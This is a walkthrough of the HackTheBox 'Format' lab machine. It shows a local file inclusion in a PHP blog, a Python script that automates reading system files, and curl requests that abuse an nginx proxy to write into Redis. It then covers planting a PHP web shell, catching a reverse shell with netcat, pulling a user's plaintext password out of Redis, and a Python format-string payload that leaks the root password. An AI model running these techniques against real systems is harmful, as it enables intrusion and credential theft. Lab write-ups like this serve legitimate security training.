Machine: Format
Difficulty: Medium
Platform: HackTheBox
Release: Released on 05/13/2023
About Format
Format is a medium-difficulty machine in which we need to exploit a web service to read system files. We achieve this by inspecting the page's source code hosted on port
3000 in a repository of the Gitea service.
Shell as www-data
Thanks to the LFI we exploited, we were able to access sensitive information about the
Nginx configuration. This allowed us to make requests to a UNIX Socket, enabling us to interact with Redis and alter user database property values. We escalated our user privileges by modifying the Pro field, increasing our advantages on the site.As a
Pro user, we have the capability to upload images, which are stored in a directory called uploads. With write privileges on this directory, we took advantage of the LFI vulnerability (which also allows writing files at the system level) to store a PHP web shell in the uploads directory. This allowed us to later execute system-level commands.
Shell as cooper
Once we gain access to the system, we can connect to the Redis socket using the
redis-cli tool. This allows us to list all stored keys. By reading the key associated with the user cooper, we obtain their credentials and proceed to escalate our privileges to that user.
Shell as root
As the user
cooper, we have sudo privileges to execute a Python program as the root user. This program is vulnerable to Python Format String Vulnerability, which allows us to access objects during the program's execution. Consequently, we can list the value of a variable that stores the root user's password.
Recon
Before we start with the exploitation, let's begin with enumeration. Machines expose services, and these services are exposed through ports.
With that in mind, we'll initiate a port scanning:
elswix@kali$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.213 -oN portScan
Nmap scan report for 10.10.11.213
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Once again, we'll use
nmap to perform this scan:elswix@kali$ nmap -sCV -p22,80,3000 10.10.11.213 -oN fullScan
Nmap scan report for 10.10.11.213 (10.10.11.213)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
| 256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_ 256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
One important note is that we are given a domain when accessing port 3000 via HTTP. Therefore, we should add it to the
/etc/hosts file to enable proper resolution.elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.213 microblog.htb
whatweb tool.elswix@kali$ whatweb -a 3 10.10.11.213
http://10.10.11.213 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.213], Meta-Refresh-Redirect[http://app.microblog.htb], nginx[1.18.0]
ERROR Opening: http://app.microblog.htb - no address for app.microblog.htb
/etc/hosts file.elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.213 microblog.htb app.microblog.htb

If we scroll down on the homepage, there is a hyperlink that says "Contribute here!" which redirects us to the web service hosted on port 3000:

If we click on the hyperlink, we see the following:

Firstly, we can observe that Gitea is running under the web service on port
3000. Gitea is an open-source platform for source code repository management, similar to GitHub.It appears that the hyperlink redirected us to a repository owned by the user
cooper named microblog. It seems that this repository provides the source code for the homepage on port 80.Before inspecting the code in-depth, I will navigate to the homepage and create a user account:

Once logged in with a valid user, it appears that the page offers services to create our own logs under subdomains:

We can specify the subdomain we want to use:

Upon creation, we are presented with the following:

We can try to access the site that was created. However, since it is accessed through a new subdomain, we need to add it to the
/etc/hosts file in order to resolve it:elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.213 microblog.htb app.microblog.htb elswix.microblog.htb

We also have the option to edit it by clicking on
Edit It here.:
If we click on
txt, we can add content to our blog:

Seeing our input reflected on the web page, we can attempt various injection attacks such as XSS, SSTI, among others. Let's try a simple XSS injection:

The fields are vulnerable to XSS injections. This is just a test and not part of the machine exploitation.
The requests to edit our blog are made in the
/edit/index.php section.
Since we have access to the source code, we can try to understand how these user input fields are handled and potentially exploit them.
In the repository we saw earlier, there is an example of a blog on the subdomain
sunny.microblog.htb where we can view the source code of the blogs. Most likely, this blog works similarly to ours, allowing us to analyze what happens behind the scenes.Inspecting the
microblog/sunny/edit/index.php file, we are presented with details about blog editing.It's evident that the website is using Redis as a database backend:

Inspecting the code further, we arrive at the section where we can edit the content of our blog, and we see the following:

As a user, we can modify both parameters used in the function:
id and txt.What's happening here?
Firstly, this code processes user input, creates a file with the name specified in
$_POST['id'], writes the HTML content to that file, and also logs the filename in order.txt.In other words, the
id parameter is the filename in which the information in HTML format will be written. The HTML-formatted information is a conversion of the information provided in the txt parameter. The file with the name specified by the id parameter is stored in the content directory with HTML content. Then, the filename (specified through the id parameter) is stored in the order.txt file. This is likely done to keep track of the files that are created.Next, we encounter the following function:

This function is responsible for loading the content of the
order.txt file, which, as mentioned earlier, stores the filename specified by the id parameter.In other words, it loads the file whose name is stored in
order.txt.We can take advantage of this because we can input data into
order.txt as we control the id parameter. Therefore, we can try to input a system-level file name to attempt to load it.Let's try entering the file
/etc/passwd in the id parameter, and then in the txt parameter, we'll input a random string; the content of the txt parameter doesn't matter much:
We send the request, and immediately in the response, we see the following:

In a not very elegant format, but we are reading files at the system level. We are abusing a Local File Inclusion (LFI).
I hope I have explained myself clearly; I apologize if I was not very clear.
Shell as www-data
First and foremost, we will create a script to automate the file reading process:
#!/usr/bin/python3
import requests, random, re, sys, string, warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
# Global
chars = string.ascii_lowercase
blogName = ''.join(random.choice(chars) for i in range(10))
lfiUrl = "http://microblog.htb/edit/index.php"
createBlogUrl = "http://app.microblog.htb/dashboard/index.php"
loginUrl = "http://app.microblog.htb/login/index.php"
def readFile(fileToRead):
login_data = {
"username":"elswix",
"password":"elswix123$!"
}
session = requests.session()
response = session.post(loginUrl, data=login_data)
blog_data = {
"new-blog-name":"%s" % blogName
}
response = session.post(createBlogUrl, data=blog_data)
lfi_data = {
"id": "%s" % fileToRead,
"txt": ""
}
lfi_headers = {
"Host": "%s.microblog.htb" % blogName
}
response = session.post(lfiUrl, data=lfi_data, headers=lfi_headers, allow_redirects=False)
raw_output = re.search(r'const html = "<div class = \\".+?\\">(.*?)<\\/', response.text, re.DOTALL).group(1)
encoded_output = raw_output.encode('utf-8')
formatted_output = encoded_output.decode('unicode-escape')
print(formatted_output)
def main():
if len(sys.argv) < 2:
print("\n\n[!] Not enough arguments: python3 %s <file>\n" % sys.argv[0])
sys.exit(1)
fileToRead = sys.argv[1]
readFile(fileToRead)
if __name__ == '__main__':
main()
/etc/passwd file:elswix@kali$ python3 exploit.py "/etc/passwd"
root:x:0:0:root:\/root:\/bin\/bash
daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin
bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin
sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin
sync:x:4:65534:sync:\/bin:\/bin\/sync
games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin
man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin
lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin
mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin
news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin
uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin
proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin
www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin
backup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin
list:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin
irc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin
nobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin
_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin
systemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin
systemd-timesync:x:999:999:systemd Time Synchronization:\/:\/usr\/sbin\/nologin
systemd-coredump:x:998:998:systemd Core Dumper:\/:\/usr\/sbin\/nologin
cooper:x:1000:1000::\/home\/cooper:\/bin\/bash
redis:x:103:33::\/var\/lib\/redis:\/usr\/sbin\/nologin
git:x:104:111:Git Version Control,,,:\/home\/git:\/bin\/bash
messagebus:x:105:112::\/nonexistent:\/usr\/sbin\/nologin
sshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin
_laurel:x:997:997::\/var\/log\/laurel:\/bin\/false
nginx, specifically the /etc/nginx/sites-available/default file, we can see the following:location ~ \/static\/(.*)\/(.*) {
resolver 127.0.0.1;
proxy_pass http:\/\/$1.microbucket.htb\/$2;
}

A configuration similar to the one we are dealing with is presented, along with a command for interacting with Redis. It appears to allow us to modify the values of fields associated with a key.
To gather more information about the fields whose values we can change, I began reading the section on registering new users.

Here, all the fields stored in the database are being leaked. Judging by the structure, it seems that the
key in this case is the user, and the fields include username, password, first-name, and so on.The values assigned to these fields are the ones received through the POST parameters.
Upon accessing our blog, we are presented with the following:

Having read through the source code, I noticed that the field returned when accessing the blog was
first-name.Knowing this, I can attempt to alter values by exploiting the vulnerable nginx configuration.
With this information in mind, let's try to change the
first-name of our user and then reload the page to verify if the change was successful.Recalling the structure shown in Exploit Notes - HDKS, we will begin making the requests.
HSET <key> <field> <value>
/static (as shown in the nginx configuration), and using an HSET request, we will alter the first-name field for the key elswix (remember that the key belongs to our username), and finally, we will assign the value PWNED to the first-name field.elswix@kali$ curl -s -X HSET 'http://microblog.htb/static/unix:/var/run/redis/redis.sock:elswix%20first-name%20PWNED%20/a'
first-name field in our account.
Indeed, simply changing the
first-name value may not be very useful. Upon reevaluating the code, we notice the presence of a function that checks if the user has the
Pro field set to true.
Certainly, users who have the value
true in the pro field likely enjoy some additional advantages with their blogs.Upon reading the code, we notice that users with the
true value in the pro field have the privilege of uploading images to the blog:
We can upload images, and they are stored in the
/uploads section, which initially, as a non-privileged user, we cannot access:
With this knowledge and taking advantage of our ability to alter database values through the vulnerability we found, let's change the value of the
pro field for our user to true.elswix@kali$ curl -s -X HSET 'http://microblog.htb/static/unix:/var/run/redis/redis.sock:elswix%20pro%20true%20/a'

We have successfully become a
Pro user.To upload an image, we must ensure that it is in PNG format, as otherwise, it will not allow us to upload it:

We can access the image, and we see that it has been stored in the
/uploads section:
Previously, the
/uploads section did not exist, but now we can access it only if we know the names of the files located in that directory:
It appears that in the
uploads directory, we have write privileges, given that we are uploading images. If we recall what we've observed, when executing the LFI, the information we entered in the id parameter was the name of the file where the information provided through the txt parameter would be written in HTML format.What does this mean?
We can attempt to write a
php program in the uploads directory (since we have access) that should be interpreted when loaded. We will specify the content of the php file using the txt parameter and indicate the location where it should be stored through the id parameter.
By sending this, the
run.php file will be created in the /uploads section, where we can use the cmd parameter to specify system-level commands to execute:
Quickly, we will send a reverse shell to our attacker machine.
First, we need to set up a listener:
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.213:43784.
bash: cannot set terminal process group (620): Inappropriate ioctl for device
bash: no job control in this shell
www-data@format:~/microblog/elswix/uploads$
www-data@format:~/microblog/elswix/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@format:~/microblog/elswix/uploads$ ^Z
zsh: suspended nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1] + continued nc -lvnp 3001
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@format:~/microblog/elswix/uploads$ export TERM=xterm
www-data@format:~/microblog/elswix/uploads$ export SHELL=/bin/bash
www-data@format:~/microblog/elswix/uploads$
Shell as cooper
The first thing that came to mind after accessing the system was to list other system-level users:
www-data@format:~$ ls -l /home
total 8
drwxr-xr-x 2 cooper cooper 4096 May 22 20:41 cooper
drwx------ 2 git git 4096 Apr 18 23:20 git
www-data@format:~$
Redis using the redis-cli tool, specifying the path to the redis.sock file since there is no mention of the service being exposed through ports:www-data@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock>
keys in Redis, we come across the following:redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:6s3d6s122d2070uvovhs29c4s3"
2) "elswix"
3) "cooper.dooper:sites"
4) "elswix:sites"
5) "cooper.dooper"
redis /var/run/redis/redis.sock>
cooper. We can try listing its contents:redis /var/run/redis/redis.sock> hgetall cooper.dooper
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
redis /var/run/redis/redis.sock>
cooper leaked in line number 4. We can try testing it by performing a system-level user migration:www-data@format:~$ su cooper
Password: zooperdoopercooper
cooper@format:/var/www$
cooper, we can view the first flag:cooper@format:/var/www$ cd
cooper@format:~$ cat user.txt
d23e9**********************feca4
cooper@format:~$
Shell as root
If we list the sudo privileges for the user
cooper, we see the following:cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:~$
cooper can run the program /usr/bin/license as root.When listing the file type for
license, we see that it is a Python script:cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
cooper@format:~$
Python Format String Vulnerability. While searching for information, I came across the following article: Python Format String Vulnerabilities.This article discusses how, by using Format String, you can attempt to access objects of classes in the running program. In other words, if we can exploit it successfully, we can try to access the content of variables defined in the program, for example.
But before we start exploiting it, let's take a closer look at how the code works.

First, the
License class is created. The main __init__ function creates a variable called license that is set to a random string of 40 characters in length.Before it starts performing operations, the program checks whether we are running it as root, i.e., as a privileged user.

Upon closer inspection, we find the following:

Firstly, we see interaction with Redis using the same socket through which we gained access.
Additionally, the program reads the file
/root/license/secret, which appears to contain some kind of key.The issue with this vulnerability arises here:

First, it stores the username from the user we input through the
provision parameter.Then, it creates a variable called
firstlast that combines the first-name and last-name fields from the user we input through the provision parameter.The problem arises when defining the
license_key variable because it uses Format String on values of variables that we can control. For example, in the first-name field, we can enter any information we want since we have access to Redis. By using the format in this way, it exposes the vulnerability we saw in the article.Searching a bit more on the internet, I also found the following article on StackExchange. This latter one is more comprehensive regarding the exploitation of the vulnerability.
Upon further reading of the code, we see that what's stored in the
license_key variable is displayed on the screen:
Exploitation
Firstly, if we input a user through the
provision parameter, we get the following report:cooper@format:~$ sudo /usr/bin/license -p elswix
User does not exist. Please provide valid username.
cooper@format:~$
elswix through Redis:cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock>
HMSET command:redis /var/run/redis/redis.sock> HMSET elswix username elswix first-name elswix last-name elswix
OK
redis /var/run/redis/redis.sock>
cooper@format:~$ sudo /usr/bin/license -p elswix
Plaintext license key:
------------------------------------------------------
microblogelswixq6o}|rY88)4H=fB;Rf@wx;Og3}f'~aw=>KBZ"|<<elswixelswix
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABlGa55Ei1j2RSdPvbwaaXJzMC2L1aLRyRami9bizj2cTzVsGI2Nafo-pNqSjfyLe3SSreJLzJsD7186CvyMJcy5ZKM1eWkWIm72oKmmC74JWgAYN_gl7LxFhpIWAN2ypdMDU2XNBaVLS-pjvHH9e7ILbglay4SATvztnsJ4WZzgfbG-04=
cooper@format:~$
First, I will try to list the contents of the
salt variable since I know its value and can verify if the vulnerability works.Remember that we need to change the value of some of the fields that are displayed on the screen, for example, the
first-name field:redis /var/run/redis/redis.sock> HMSET elswix1 username elswix first-name {license.__init__.__globals__[salt]} last-name elswix
OK
redis /var/run/redis/redis.sock>
cooper@format:~$ sudo /usr/bin/license -p elswix1
Plaintext license key:
------------------------------------------------------
microblogelswix0+!eJ-h2b[JN&@~G5mBcR7-Rh!\GQWw4Zc>!&N=Lb'microblogsalt123'elswix
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABlGa8qJfE91BdIPgImJcqKixVukvjw844HS2ITaHqGCEjF0yIeasPJo7bIY3ITOcVH3xAUNUzx6nfykSNlyRVa250XuHMpuQ_pBEEjHwNVHnFeLTB-3E4qCJ7-3T0SXh8dk_1IOj7_Uutzi2rPgSiixPJ8quEducf9FHrVgNniqfXguAqJAAS-NsPrV97WOiXa4wM6
cooper@format:~$
salt variable, which is microblogsalt123.Since we can list the value of any variable, we can attempt to read the
secret variable, which, from what we've seen, appears to contain a key stored in a file called /root/license/secret.In my case, I will focus on the
secret_encoded variable as it will be easier to identify in the output since the value will be stored in bytes format.redis /var/run/redis/redis.sock> HMSET elswix2 username elswix first-name {license.__init__.__globals__[secret_encoded]} last-name elswix
OK
redis /var/run/redis/redis.sock>
cooper@format:~$ sudo /usr/bin/license -p elswix2
Plaintext license key:
------------------------------------------------------
microblogelswixcxhik#u!A?8:bQtIastz\D8sYQyC:Q@ow5;<2KT7b'unCR4ckaBL3Pa$$w0rd'elswix
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABlGbCHM-PvcoDTv1oxmO-7sr5Wi7w7M_wxiERGuDt814ENoTZi7UoENeC-yRJpfzm7u4wxGnIKGRfsyqmZNQfv9VQiaAugEevkcYhLjORImzj4ASxocszr24jF_KU5d5UUDh9HM-U7thUul24SBN-k0P5Z7AU3X3Rhb_EAhjxHWz-GpScM18CnZ9BHjB249o1cX5ET
cooper@format:~$
unCR4ckaBL3Pa$$w0rd was displayed. This appears to be a password that we can copy and try to use to escalate to the root user.cooper@format:~$ su
Password:
root@format:/home/cooper#
secret variable corresponds to the system-level root user's password.Finally, we can read the last flag:
root@format:~# cat root.txt
1bd03**********************1d68d
root@format:~#